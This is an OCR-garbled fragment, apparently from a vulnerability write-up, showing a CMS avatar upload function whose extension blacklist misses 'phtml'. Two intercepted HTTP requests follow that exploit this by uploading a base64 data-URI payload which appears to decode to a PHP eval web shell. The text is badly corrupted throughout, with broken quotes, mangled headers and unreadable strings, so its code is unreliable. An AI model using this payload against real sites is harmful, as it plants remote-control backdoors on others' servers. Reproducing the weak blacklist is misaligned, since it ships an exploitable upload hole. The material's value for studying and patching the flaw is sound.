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public function upload() {
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$dir = SYS_UPLOAD_PATH.'/member/".$this->uid.";
@dr_dir_delete($dir);

lis_dir($dir) && dr_mkdirs($dir);

if ($_POST['tx]) {

$file = str_replace(' ', '+', $_POST['tx]);

if (preg_match('/Ndata:\s*imageV(\w+);base64,)/", $file, $result)){
$bad_ext=array('php','php3','php4','php5');
if(in_array($result[2],$bad_ext)}

exit(‘hack’);

}

$new _file = $dir.'0x0.".$result[2];

if (!@file_put_contents($new_file, base64 decode(str_replace($result[1], ", $file)))) {
exit(dr_json(0, 'H AR A & Bk 2 i'"));

}else {

$this->load->library(image_lib");

$config['create_thumb'] = TRUE;

$config['thumb_marker] =";

$config['maintain_ratio’] = FALSE;

$config['source_image'] = $new _file;



foreach (array(30, 45, 90, 180) as $a) {

$config['width'] = $config['height] = $a;

$config['new_image'] = $dir.$a.'x.$a.".". $result[2];
$this->image_lib->initialize($config);

if (1$this->image_lib->resize()) {

exit(dr_json(0, ' EA&44R: ".$this->image_lib->display_errors()));
break;

}

}

list($width, $height, $type, $attr) = getimagesize($dir.'45x45." $result[2]);
I$type && exit(dr_json(0, "B F F47F B AHIE"));

}

} else {

exit(dr_json(0, "B i F4F 5 A HTE"));

}

} else {

exit(dr_json(0, 'B A RIEAE"));

}
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if (defined('UCSSO_API) {

$rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg"));
I$rt['code’] && $this->_json(0, fc_lang(iB1E K : %s', $rif'msg));
}

exit('1");

}

}
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@ Request to http:/flocalhost:80 [127.0.0.1]

[ Forward J [ Drop J [ Intercept is on ] [ Action J

J Raw T Params I Headers | Hex

POST /index.php?s=menber &c=account &m=uploadéiajax=1 HTTP/L.1l

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT £.1; WOWE4; rv:55.0) Gecko/Z0100101 Firefox/55.0
Aoccept: application/json, text/javascript, */*; g=0.01

Accept-Language: zh-CH, zh;g=0.8,en-U3;q=0.5,en;q=0.3

Aoccept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

¥-PRequested-With: XMLHttpRequest

Referer: http://localhost/index.php?s=menber éo=accountam=avatar

Content-Length: B0

Cockie: Z4bléfedsSagTc89251d3eTcT1lElcB3ac_ci_session=Thhp0Smki4deikhlpilufijref1l8330]3; wember uid=1l; member cookie=Idb43E£7=75£3b482d301
Connection: close

tx=data%3limageslFipegs3Bbasef4% I CPDOwaHAgOGVITWwo JFEQT INUWyd4aWFvdiVpJ 1 0pPz4%3D
L
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@J Request to http:/localhost:80 [127.0.0.1]
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POST /index.php?s=menber tc=account &m=uploadsiajax=1 HTTPE/1l.1

Host: localhost

User—Agent: Mozilla/5.0 (Windows NT £.1; WOWE4; rv:55.0) Gecko/Z0L00101 Firefox/55.0

Accept: application/json, text/javascript, */*; g=0.01

Accept-Lancuage: zh-CN, zh;q=0.8,en-US;g=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

¥-BRequested-With: XMLHttpRequest

Referer: http://localhost/index.php?s=member ic=account &m=avatar

Content-Length: 20

Cookie: Z4bléfedeSadg7c8l51ld3e7e71leleBiac ol session=ThhpO0SmkijddeikhlpiluéfijreflE330]; member uid=1l; member cookie=Zdb43e7=75£3L4BZd301
Connection: close - - -

tx=data%3AimagesZFphtml%3Ebase£4%2CPDSwaHAgQGVI YWwoJFSQTINUVyddaWFvdiVpJLIOpP=4%3D
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(dr_json(@, '

(dr json(e, 'BEHFFFE"));
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<?php
("waf.php');

*e;cehi'(ontent—Type: text/html; charset%utf—ﬁ'lj

define('FCPATH', dirname(
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